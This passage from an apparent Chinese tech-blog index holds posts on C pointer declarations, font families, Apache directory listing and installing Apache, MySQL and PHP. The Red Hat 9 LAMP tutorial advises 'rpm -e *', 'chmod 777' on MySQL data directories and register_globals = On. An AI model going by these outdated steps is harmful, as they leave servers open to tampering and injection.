被一个圆括号包含，左边又有一个*，那么func是一个指针，跳出括号，右边是一个[]运算符号，说明func是一个指向数组的指针，现在往左看，左边有一个*号，说明这个数组的元素是指针，再跳出括号，右边又有一个括号，说明这个数组的元素是指向函数的指针。总结一下，就是：func是一个指向数组的指针，这个数组的元素是函数指针，这些指针指向具有int*形参，返回值为int类型的函数。\nint (*(*func)(int *p))[5];\nfunc是一个函数指针，这类函数具有int*类型的形参，返回值是指向数组的指针，所指向的数组的元素是具有5个int元素的数组。\n要注意有些复杂指针声明是非法的，例如：\nint func(void) [5];\nfunc是一个返回值为具有5个int元素的数组的函数。但C语言的函数返回值不能为数组，这是因为如果允许函数返回值为数组，那么接收这个数组的内容的东西，也必须是一个数组，但C语言的数组名是一个右值，它不能作为左值来接收另一个数组，因此函数返回值不能为数组。\nint func[5](void);\nfunc是一个具有5个元素的数组，这个数组的元素都是函数。这也是非法的，因为数组的元素除了类型必须一样外，每个元素所占用的内存空间也必须相同，显然函数是无法达到这个要求的，即使函数的类型一样，但函数所占用的空间通常是不相同的。\n作为练习，下面列几个复杂指针声明给读者自己来解析，答案放在第十章里。\nint (*(*func)[5][6])[7][8];\nint (*(*(*func)(int *))[5])(int *);\nint (*(*func[7][8][9])(int*))[5];\n实际当中，需要声明一个复杂指针时，如果把整个声明写成上面所示的形式，对程序可读性是一大损害。应该用typedef来对声明逐层分解，增强可读性，例如对于声明：\nint (*(*func)(int *p))[5];\n可以这样分解：\ntypedef int (*PARA)[5];\ntypedef PARA (*func)(int *);\n这样就容易看得多了。\n","permalink":"https://hessian.cn/p/399.html","summary":"C语言所有复杂的指针声明，都是由各种声明嵌套构成的。如何解读复杂指针声明呢？右左法则是一个既著名又常用的方法。不过，右左法则其实并不是C标准里面的内容，它是从C标准的声明规定中归纳出来的方法。C标准的声明规则，是用来解决如何创建声明的，而右左法则是用来解决如何辩识一个声明的，两者可以说是相反的。右左法则的英文原文是这样说的：\n","title":"解析C语言复杂声明"},{"content":"调试环境：Redhat9.0 Apache1.3.29 Mysql3.23.58 PHP4.3.4 Linux系统的安装我就不讲了，这是基本功，其实这篇文章在类似Redhat的其他linux也应该通用，大家只要掌握我提供的方法就行。记 得安装Redhat9。0的时候不要安装系统默认的apache，mysql和php以及相关的软件。已经安装的请用rpm -e * 删除已经安装的包。 1.安装Mysql3.23.58 其实老实说直接安装Mysql官方网站提供的rpm包也是一个比较可行的办法，他的官方网站的rpm包的提供基本跟tar包发行是同步的，这点 我比较喜欢，至少安装rpm包的在后面的调试中不会出现mysql库文件找不到的情况。但这里还是有必要讲一下自定义安装的步骤，毕竟网友自定义安装的还 说挺多的。 软件获取：http://www.mysql.com/downloads/index.html 安装步骤： tar zxvf mysql-3.23.58.tar.gz cd mysql-3.23.58 ./configure \u0026#8211;prefix=/usr/local/mysql \u0026#8211;sysconfdir=/etc \u0026#8211;localstatedir=/var/lib/mysql make make install #prefix=/usr/local/mysql mysql安装的目标目录 #sysconfdir=/etc my.ini配置文件的路径 #localstatedir=/var/lib/mysql 数据库存放的路径 安装完以后要初始化数据库，当然你是升级的话不用做这步; /usr/local/mysql/bin/mysql_install_db 如果系统没有mysql这个用户的话，最好做以下这步： useradd -M -o -r -d /var/lib/mysql -s /bin/bash -c \u0026quot;MySQL Server\u0026quot; -u 27 mysql 然后我启动mysql /usr/local/mysql/bin/safe_mysqld \u0026amp; ok，先看看mysql能否正常工作 mysql -uroot mysql 一般情况下都是不能正常链接数据库，错误提示一般为： ERROR 2002: Can\u0026#8217;t connect to local MySQL server through socket \u0026#8216;/var/lib/mysql/mysql.sock\u0026#8217; (2) 其实网上大家问的最多的都是整个问题，说什么链接不到mysqld.sock，其实大家不妨看看mysql的错误日志就明白怎么回事，我这里的错误日志是在 /var/lib/mysql/*.err 你会发现mysql只所以不能启动，是因为/var/lib/mysql的权限不允许mysql服务访问，英文mysql默认是调用mysql用户来启动服务的，好了，既然知道是什么原因找到不能启动，那就简单了。我们只要 chown -R mysql:mysql /var/lib/mysql 就行，如果还是启动不了，再慢慢调试权限，反正一般启动不了都是权限的问题。 如果大家还是不能启动不了的话，那就用我的比较繁琐的权限的设置，反正我每次都是这么做的，一般不会有问题，见下： chown -R root /usr/local/mysql chgrp -R mysql /usr/local/mysql chown -R root /usr/local/mysql/bin chgrp -R mysql /usr/local/mysql/bin chgrp -R mysql /var/lib/mysql chmod 777 /var/lib/mysql chown -R root /var/lib/mysql/mysql chgrp -R mysql /var/lib/mysql/mysql chmod 777 /var/lib/mysql/mysql chown -R root /var/lib/mysql/mysql/* chgrp -R mysql /var/lib/mysql/mysql/* chmod 777 /var/lib/mysql/mysql/* chmod 777 /usr/local/mysql/lib/mysql/libmysqlclient.a 做完上面的步骤，然后把你编译目录的一个脚本COPY过去 cp support-files/mysql.server /etc/rc.d/init.d/mysqld chkconfig \u0026#8211;add mysqld 用ntsysv设置使mysql每次启动都能自动运行。 好了，至此mysql安装完毕，你可以这样起动你的mysql服务 /etc/rc.d/init.d/mysqld start 下面这步比较关键， ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql ln -s /usr/local/mysql/include/mysql /usr/include/mysql 大家可以不做这步，大可以在编译其他软件的时候自定义myslq的库文件路径，但我还是喜欢把库文件链接到默认的位置，这样你在编译类似PHP，Vpopmail等软件时可以不用指定mysql的库文件地址。\n2.安装Apache1.3.29 我没有选择安装Apache2.0是我对他还是不放心，因为网上最新公布的apache的漏洞基本上是针对2.0，当然大家可以自己选择安装相应的版本。我这里讲的都是采用DSO动态编译的方法编译Apache. 至于有关apache的编译方法，可以参考我以前的文章《apache的静态/动态编译在apache+php+mysql的应用》 http://www.5ilinux.com/apache01.html 软件获取：http://httpd.apache.org/ tar zvxf apache_1.3.29.tar.gz cd apache_1.3.29 修改src/include/httpd.h 增大最大线程数 #define HARD_SERVER_LIMIT 256 改成 #define HARD_SERVER_LIMIT 2560 保存退出编译apache ./configure \u0026#8211;prefix=/usr/local/apache \u0026#8211;enable-module=so \u0026#8211;enable-module=rewrite \u0026#8211;enable-shared=max \u0026#8211;htdocsdir=/var/www \u0026amp;\u0026amp; make \u0026amp;\u0026amp; make install #这里我们通过enable-module参数告诉设置脚本，我们需要启动so和rewrite模块，so模块是用来提DSO支持的 apache 核心模块，而rewrite模块则是用意实现地址重写的模块，由于rewrite模块需要DBM支持，如果在初次安装时没有编译进 apache，以后需要用到时需要重新编译整个apache才可以实现。为此除非你可以确定以后不会用到rewrite模块，否则还是建议你在第一次编译 的时候把 rewrite模块编译好。 enable-shared=max 这个参数的作用时编译apache时，把除了so以外的所有apache的标准模块都编译成DSO模块。而不是编译进apache核心内。 好了安装apache很简单的哦，启动apache看看 /usr/local/apache/bin/apachectl start 然后用ie看http://你的服务器地址。应该能看到熟悉的apache羽毛标志。 3.安装PHP4.3.4 软件获取：http://www.php.net/downloads.php tar zvxf php-4.3.4.tar.gz cd php-4.3.4 ./configure \u0026#8211;prefix=/usr/local/php \u0026#8211;with-mysql=/usr/local/mysql \u0026#8211;enable-force-cgi-redirect \u0026#8211;with-freetype-dir=/usr \u0026#8211;with-png-dir=/usr \u0026#8211;with-gd \u0026#8211;enable-gd-native-ttf \u0026#8211;with-ttf \u0026#8211;with-gdbm \u0026#8211;with-gettext \u0026#8211;with-iconv \u0026#8211;with-jpeg-dir=/usr \u0026#8211;with-png \u0026#8211;with-zlib \u0026#8211;with-xml \u0026#8211;enable-calendar \u0026#8211;with-apxs=/usr/local/apache/bin/apxs make make install #我这里由于服务器需要用到GD库，所以加了一些支持GD的编译参数，GD直接用了redhat自带的GD库，大家没有安装的话可以从安装盘安 装，注意除了安装GD以外，还要安装libjpeg，libpng等库文件。另外\u0026#8211;with-mysql=/usr/local/mysql指向你安装 mysql的路径。\u0026#8211;with-apxs指向apache的apxs文件的路径。 vi /usr/local/apache/conf/httpd.conf 查找 在此范围添加 AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps 然CPOPY PHP的配置文件 cp ../php4.3.4/php.ini.dist /usr/local/php/lib/php.ini 修改php.ini文件 register_globals = On ok!重新启动一下apache服务器 /usr/local/apache/bin/apachectl restart 然后写个php测试页info.php:内容如下 phpinfo(); ?\u0026gt; 正常的话，应该能看到php的信息了，恭喜你的Apche+Mysql+PHP安装成功\n","permalink":"https://hessian.cn/p/474.html","summary":"调试环境：Redhat9.0 Apache1.3.29 Mysql3.23.58 PHP4.3.4 Linux系统的安装我就不讲了，这是基本功，其实这篇文章在类似Redhat的其他linux也应该通用，大家只要掌握我提供的方法就行。记 得安装Redhat9。0的时候不要安装系统默认的apache，mysql和php以及相关的软件。已经安装的请用rpm -e * 删除已经安装的包。 ","title":"Linux下配置功能完善的web服务器"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 前段时间看了这本C Traps and Pitfalls，看到里面有这样的一个语句：\n\u0026nbsp;\u0026nbsp; (*(void(*)())0)();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 初看此语句，让我头皮发麻，不寒而栗呀，我看了好半天书，也只是一知半解，后来在下面两个论坛上分别发一个帖子问了一下：\nhttp://bbs.chinaunix.net/viewthread.php?tid=891271\u0026amp;extra=page%3D2\nhttp://www.vckbase.com/bbs/viewtopic2.asp?rid=2869084\u0026amp;sf=92\u0026amp;forumID=1\u0026amp;pg=4\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 首先这是一个函数调用，但是一个特殊的函数调用，在我们普通的C语言程序中是没有任何意义的，甚至不能执行的，我在VC6的环境下写了一个测试例子：\nint main()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (*(void(*)())0)();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return 0;\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 编译是通过了，但是却在执行的过程中出现了错误。在Linux下也进行了测试，也是编译通过，但运行出现了错误。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 然而，这个并不代表它没有用，它在一些特殊的环境中是有用的，比如在地址0处设置了跳转或是中断处理函数之类的，那么这个函数调用就有用了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 总结一下我自己的理解和网上网友的理解：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 这是一个函数调用，它调用的是地址为0的函数。\n如果我们令 f = *(void(*)())0\n那么这个上面的语句可以写成 (f)()，也就是f();这很显然是一个函数调用\n而 void(*)()是一个指针类型，它是一个参数为空而返回值为void （实际上也是空）的函数指针类型，(void(*)())0就是把0强制转换成为一个函数指针，\n我们可以这样理解\ntypedef void(*pp)();\n\u0026nbsp;\u0026nbsp; (*(pp)0)();\n(void(*)())0这个函数指针指向一个地址为0的函数，如果前面再加一个星号*，那么就是对这个函数的引用，即(*(void(*)())0)就代表了这个函数，后面再加一个()就是对该函数的调用。\n","permalink":"https://hessian.cn/p/622.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 前段时间看了这本C Traps and Pitfalls，看到里面有这样的一个语句：\n\u0026nbsp;\u0026nbsp; (*(void(*)())0)();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 初看此语句，让我头皮发麻，不寒而栗呀，我看了好半天书，也只是一知半解，后来在下面两个论坛上分别发一个帖子问了一下：\nhttp://bbs.chinaunix.net/viewthread.php?tid=891271\u0026amp;extra=page%3D2\nhttp://www.vckbase.com/bbs/viewtopic2.asp?rid=2869084\u0026amp;sf=92\u0026amp;forumID=1\u0026amp;pg=4\n","title":"关于(*(void(*)())0)()"},{"content":"拜读了 LGJ Font Notes 的 Serif VS. Sans Serif 注1 一文，顿时胸中豁然开朗，\n终于明白了什么是Sans Serif字体，什么是Serif字体，什么地方应该使用Sans Serif字体，\n什么地方又应该使用Serif字体。这些问题，不管是对Web Designer还是普通用户，\n了解它我觉得还是十分必要的，比如在很多浏览器中就涉及相应的设置。\nQuote: 在西方国家罗马字母阵营中，字体分为两大种类：Sans Serif和 Serif，打字机体虽然也属于 Sans Serif，但由于是等宽字体，所以另外独立出 Monospace 这一种类，例如在Web中，表示代码时常常要使用等宽字体。\nSerif的意思是，在字的笔画开始及結束的地方有额外的装饰，而且笔画的粗细会因直橫的不同而有不同。相反的，Sans Serif则沒有这些额外的装饰，笔画粗细大致差不多。如下图：\n可以看出，我们平时所用的Georgia、Times New Roman等就属于Serif字体，而Arial、Tahoma、Verdana等则属于Sans Serif字体。对中文而言，同样存在这两大种类，很明显，宋体、细明体（繁体中常用）等就属于Serif，而黑体、幼圆等则属于Sans Serif。\nSerif 和 Sans Serif 的一般比较\nSerif的字体容易辨认，因此易读性较高。反之Sans Serif 则较醒目，但在行文阅读的情況下，Sans Serif 容易造成字母辨认的困扰，常会有来回重读及上下行错乱的情形。 Serif 强调了字母笔画的开始及结束，因此较易前后连续性的辨识。 Serif 强调一个word，而非单一的字母，反之Sans Serif则强调个别字母。 在小字体的场合，通常Sans Serif比Serif更清晰。 适用用途：\n通常文章的內文、正文使用的是易读性较佳的 Serif 字体，这可增加易读性，而且长时间阅读下因为会以word为单位来阅读，较不容易疲倦。而标题、表格內用字则采用较醒目的Sans Serif字体，它需要显著、醒目，但不必长时间盯著这些字来阅读。\n像宣传品、海报类，为求醒目，它的短篇的段落也会采用Sans Serif字体。但在书籍、报刊杂志，正文有相当篇幅的情形下，则应采用Serif字体来减轻读者阅读上的负担。在Web设计及浏览器设置中也应遵循此原则为是。\n实际应用\n在Firefox 中（目前似乎只有Firefox有此功能），可以分别单独指定Sans Serif、Serif及Monospace的中西文字体，然而这个选项并未设置在工具菜单中，不过可以在Addressbar中键入about \u0026amp;: config，然后在Filter中过滤font找到如下Preference Name：\nCode: font.name.monospace.x-western\nfont.name.monospace.zh-CN\nfont.name.sans-serif.x-western\nfont.name.sans-serif.zh-CN\nfont.name.serif.x-western\nfont.name.serif.zh-CN 你可以依照上述Sans Serif、Serif及Monospace的原则来分别指定一种对应字体，按照W3C的CSS规则 注2 ，在font（或者font-family）的最后都要求指定一个Serif这样的Generic-family，避免客户端实在没有指定字体时使用本机上的Serif默认字体。\n由于Mozilla系的浏览器的这种特性，我们在CSS的font设定中，可以分别设定中西文字体来丰富版面，例如我们指定一组小字体（类似此文章标题下的日期、作者、类别）：\nCode: font-family: Arial, PMingLiU, Sans-Serif;\n/*按照文章前面所讲，在小字体时Sans-serif更为清晰，所以随便指定一个Arial，\n而作为Serif的PMingLiU（明体）在小字体显示时也有不俗的外观。\n最后不忘指定一个Sans-Serif类。*/ 参考资料：\nCode: 注1: Serif VS. Sans Serif 注2: Font family: the \u0026lsquo;font-family\u0026rsquo; property ","permalink":"https://hessian.cn/p/485.html","summary":"拜读了 LGJ Font Notes 的 Serif VS. Sans Serif 注1 一文，顿时胸中豁然开朗，\n终于明白了什么是Sans Serif字体，什么是Serif字体，什么地方应该使用Sans Serif字体，\n什么地方又应该使用Serif字体。这些问题，不管是对Web Designer还是普通用户，\n了解它我觉得还是十分必要的，比如在很多浏览器中就涉及相应的设置。\nQuote: ","title":"细说字体 Sans Serif 与 Serif"},{"content":"\n问题分析：如果客户端发送一个URL请求， 但是相应的目录里面没有DirectoryIndex属性指定的文件名，那么可以使用mod_autoindex模块来列出该目录的文件名。\n解决：编译Apache的时候包含mod_autoindex模块，然后参考下面的例子来设置Apache配置文件：\n打开列目录功能：\n\u0026lt;Directory /path/to/directory\u0026gt;\nOptions +Indexes\n\u0026lt;/Directory\u0026gt;\n关闭列目录功能：\n\u0026lt;Directory /path/to/directory\u0026gt;\nOptions -Indexes\n\u0026lt;/Directory\u0026gt; 注意如果默认访问index.php, index.html，则对/usr/local/apache/conf/httpd.conf进行如下设置：\n\u0026lt;IfModule dir_module\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; DirectoryIndex index.html\n\u0026nbsp;\u0026nbsp;\u0026nbsp; DirectoryIndex index.php\n\u0026lt;/IfModule\u0026gt;\n","permalink":"https://hessian.cn/p/587.html","summary":"\n问题分析：如果客户端发送一个URL请求， 但是相应的目录里面没有DirectoryIndex属性指定的文件名，那么可以使用mod_autoindex模块来列出该目录的文件名。\n","title":"apache打开或者关闭列目录功能"},{"content":"1. gzip -d httpd-2_0_NN.tar.gz\n2. tar xvf httpd-2_0_NN.tar\n3. gunzip php-NN.tar.gz\n4. tar -xvf php-NN.tar\n5. cd httpd-2_0_NN\n6. ./configure --enable-so\n7. make\n8. make install\n现在已经将 Apache 2.0.NN 安装在 /usr/local/apache。本安装支持可装载模块\n和标准的 MPM prefork。之后，可以使用如下命令启动 Apache 服务器：\n/usr/local/apache2/bin/apachectl start\n如果成功，可以停止 Apache 服务器并继续安装 PHP：\n/usr/local/apache2/bin/apachectl stop.\n9. cd ../php4-NN\n10. 现在需要配置 PHP。在这里可以用各种各样的参数来自定义PHP，例如启动哪些\n扩展功能包的支持等。用 ./configure --help 命令可以列出当前可用的所有参\n数。在此例中，将给出一个在有 MySQL 支持的 Apache 2 上进行配置的范例。\n用户本地的 apxs 的路径可能会不同，事实上，在用户的系统中，它可能被命名为\napxs2。\n./configure --with-apxs2=/usr/local/apache2/bin/apxs\n11. make\n12. make install\n如果决定在安装后改变配置选项，只需重复最后的三步，然后需要重新启动 Apache\n使新模块生效。无需重新编译。\n请注意，除非明确有提示，否则\u0026ldquo;make install\u0026rdquo;命令将安装 PEAR、各种 PHP 工具\n诸如 phpize，安装 PHP CLI 等等。\n13. 配置 php.ini\ncp php.ini-dist /usr/local/lib/php.ini\n可以编辑 php.ini 文件以修改 PHP 的选项。如果想要把此文件放到另外的位置，\n需要在步骤 10 添加 --with-config-file-path=/path 选项。\n如果选择 php.ini -recommended，请务必阅读其中的变更的列表，它们将影响\nPHP 的执行。\n14. 编辑 httpd.conf 文件以调用 PHP 模块。LoadMolude 表达式右边的路径必须指向\n系统中的 PHP。以上的 make install 命令可能已经完成了这些，但务必要检查。\n对于 PHP 4：\nLoadModule php4_module modules/libphp4.so\n对于 PHP 5：\nLoadModule php5_module modules/libphp5.so\n15. 告知 Apache 将特定的扩展名解析成 PHP，例如，让 Apache 将扩展名 .php\n解析成 PHP。可以将任何扩展名指定为 PHP，只需添加它们，每一个用空格分隔。\n例如，要添加 .phtml：\nAddType application/x-httpd-php .php .phtml\n通常还将 .phps 扩展名设置成显示高亮的 PHP 源文件，可以这样来完成：\nAddType application/x-httpd-php-source .phps\n16. 启动 Apache 服务器：\n/usr/local/apache2/bin/apachectl start ","permalink":"https://hessian.cn/p/311.html","summary":"1. gzip -d httpd-2_0_NN.tar.gz\n2. tar xvf httpd-2_0_NN.tar\n3. gunzip php-NN.tar.gz\n4. tar -xvf php-NN.tar\n5. cd httpd-2_0_NN\n6. ./configure --enable-so\n7. make\n8. make install\n现在已经将 Apache 2.0.NN 安装在 /usr/local/apache。本安装支持可装载模块\n和标准的 MPM prefork。之后，可以使用如下命令启动 Apache 服务器：\n/usr/local/apache2/bin/apachectl start\n如果成功，可以停止 Apache 服务器并继续安装 PHP：\n/usr/local/apache2/bin/apachectl stop.\n9. cd ../php4-NN\n10. 现在需要配置 PHP。在这里可以用各种各样的参数来自定义PHP，例如启动哪些\n扩展功能包的支持等。用 ./configure --help 命令可以列出当前可用的所有参\n数。在此例中，将给出一个在有 MySQL 支持的 Apache 2 上进行配置的范例。\n用户本地的 apxs 的路径可能会不同，事实上，在用户的系统中，它可能被命名为\napxs2。\n./configure --with-apxs2=/usr/local/apache2/bin/apxs\n11. make\n12. make install\n如果决定在安装后改变配置选项，只需重复最后的三步，然后需要重新启动 Apache\n使新模块生效。无需重新编译。\n请注意，除非明确有提示，否则\u0026ldquo;make install\u0026rdquo;命令将安装 PEAR、各种 PHP 工具\n诸如 phpize，安装 PHP CLI 等等。\n13. 配置 php.ini\ncp php.ini-dist /usr/local/lib/php.ini\n可以编辑 php.ini 文件以修改 PHP 的选项。如果想要把此文件放到另外的位置，\n需要在步骤 10 添加 --with-config-file-path=/path 选项。\n如果选择 php.ini -recommended，请务必阅读其中的变更的列表，它们将影响\nPHP 的执行。\n14. 编辑 httpd.conf 文件以调用 PHP 模块。LoadMolude 表达式右边的路径必须指向\n系统中的 PHP。以上的 make install 命令可能已经完成了这些，但务必要检查。\n对于 PHP 4：\nLoadModule php4_module modules/libphp4.so\n对于 PHP 5：\nLoadModule php5_module modules/libphp5.so\n15. 告知 Apache 将特定的扩展名解析成 PHP，例如，让 Apache 将扩展名 .php\n解析成 PHP。可以将任何扩展名指定为 PHP，只需添加它们，每一个用空格分隔。\n例如，要添加 .phtml：\nAddType application/x-httpd-php .php .phtml\n通常还将 .phps 扩展名设置成显示高亮的 PHP 源文件，可以这样来完成：\nAddType application/x-httpd-php-source .phps\n16. 启动 Apache 服务器：\n/usr/local/apache2/bin/apachectl start","title":"PHP5安装说明（Apache 2 共享模块版本）"},{"content":"引子\u0026#8212;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 变量可以在程序中三个地方说明: 函数内部、函数的参数定义中或所有的函数外部。根据所定义位置的不同, 变量可分为局部变量、形式参数和全程变量。从空间角度来看，变量可以分为全局变量和局部变量，而从时间角度来分的 可以有静态存储变量和动态存储变量之分。\n一。全局变量和局部变量\n1。局部变量\n他是 指在函数内部定义的变量 作用域为定义局部变量的函数 也就是说他只能在定义他的函数中使用\n最值得注意的是 只有在程序执行到定义他的模块时才能生成，一旦执行退出该模块则起变量消失\neg.\nfunc ()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; int x;\u0026nbsp;\u0026nbsp;\u0026nbsp; 局部变量x的作用域 很明确\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8230;\u0026#8230;\n}\n2。全局变量\n在程序执行的过程中一直有效\neg.\nint x=1;\nfunc ()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; x=x+1;\n}\nfunc1 ()\n{\n\u0026nbsp;\u0026nbsp; x=x-1;\n}\nmain ()\n{\n}\n由此不难看出整型x的作用范围\n对于全局变量 如果在定义的时候不做初始化 则系统将自动为起赋值 数值型为0\n字符型为空\u0026#8221;\n全局变量的弊端 增加内存开销 降低函数的通用性\n定义全局变量时 理想的位置是在文件的开头 当这些函数以及同一个程序中的其他源程序文件中的某些函数需要使用该全局变量时 在函数内部对该变量使用extern 加以说明 说明他是外部的 (这里还要做详细的讲解)\neg.\nmain ()\n{\nextern int a,b;\nprintf (\u0026quot;mIn is %dn\u0026quot;,min(a,b));\n}\nint a=1,b=2;\nint min (x,y)\nint x,y;\n{\nint z;\nz=x\u0026lt;y?x:y;\nreturn(z);\n}\n我还要说明的是 对外部变量的说明和对全局变量的定义不是一回事\n对外部变量的说明 只是声明该变量是在外部定义过的一个全局变量 在这里引用 而对全局变量的定义则是要对起分配存储单元的\n一个全局变量只能定义一次 可是却可以多次引用\n*** 在同一源文件中，全局变量和局部变量同名时，在局部变量的作用域内，全局变量不起作用的。\n二。静态存储变量和动态存储变量\n对于程序运行期间根据需要进行临时动态分配存储空间的变量 为动态存储变量\n对于那些程序运行期间永久占用固定内存的变量 称为静态存储变量\n还要说明的是 程序的指令代码是存放在程序代码区的 静态存储变量是存放在静态数据区的 包括全局变量等 而程序中的动态存储变量存放在动态数据区 如函数的形参以及函数调用时的返回地址等\n三。C语言中的变量存储分类指定\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; auto \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; auto称为自动变量 如果函数不做其他说明的话 均为自动变量\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static称为静态变量。根据变量的类型可以分为静态局部变量和静态全程变量。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1. 静态局部变量 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 它与局部变量的区别在于: 在函数退出时, 这个变量始终存在, 但不能被其它函数使用, 当再次进入该函数时, 将保存上次的结果。其它与局部变量一样。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2. 静态全程变量 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Turbo C2.0允许将大型程序分成若干独立模块文件分别编译, 然后将所有模块的目标文件连接在一起, 从而提高编译速度, 同时也便于软件的管理和维护。静态全程变量就是指只在定义它的源文件中可见而在其它源文件中不可见的变量。它与全程变量的区别是: 全程变量可以再说明为外部变量(extern), 被其它源文件使用, 而静态全程变量却不能再被说明为外部的, 即只能被所在的源文件使用。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; extern \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; extern称为外部变量。为了使变量除了在定义它的源文件中可以使用外, 还要被其它文件使用。因此,\u0026nbsp;\u0026nbsp;\u0026nbsp; 必须将全程变量通知每一个程序模块文件,\u0026nbsp;\u0026nbsp;\u0026nbsp; 此时可用extern来说明。 eg. \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 文件1为file1.c\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 文件2为file2.c \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int i, j;/*定义全程变量*/\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; extern int i, j;/*说明将i, j从 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 文件1中复制过来*/ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char c;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; extern char c; /*将c复制过来*/ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; void func1(int k);\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; func2()\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; /*用户定义函数*/ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; main()\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static float k;/*定义静态变量*/ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 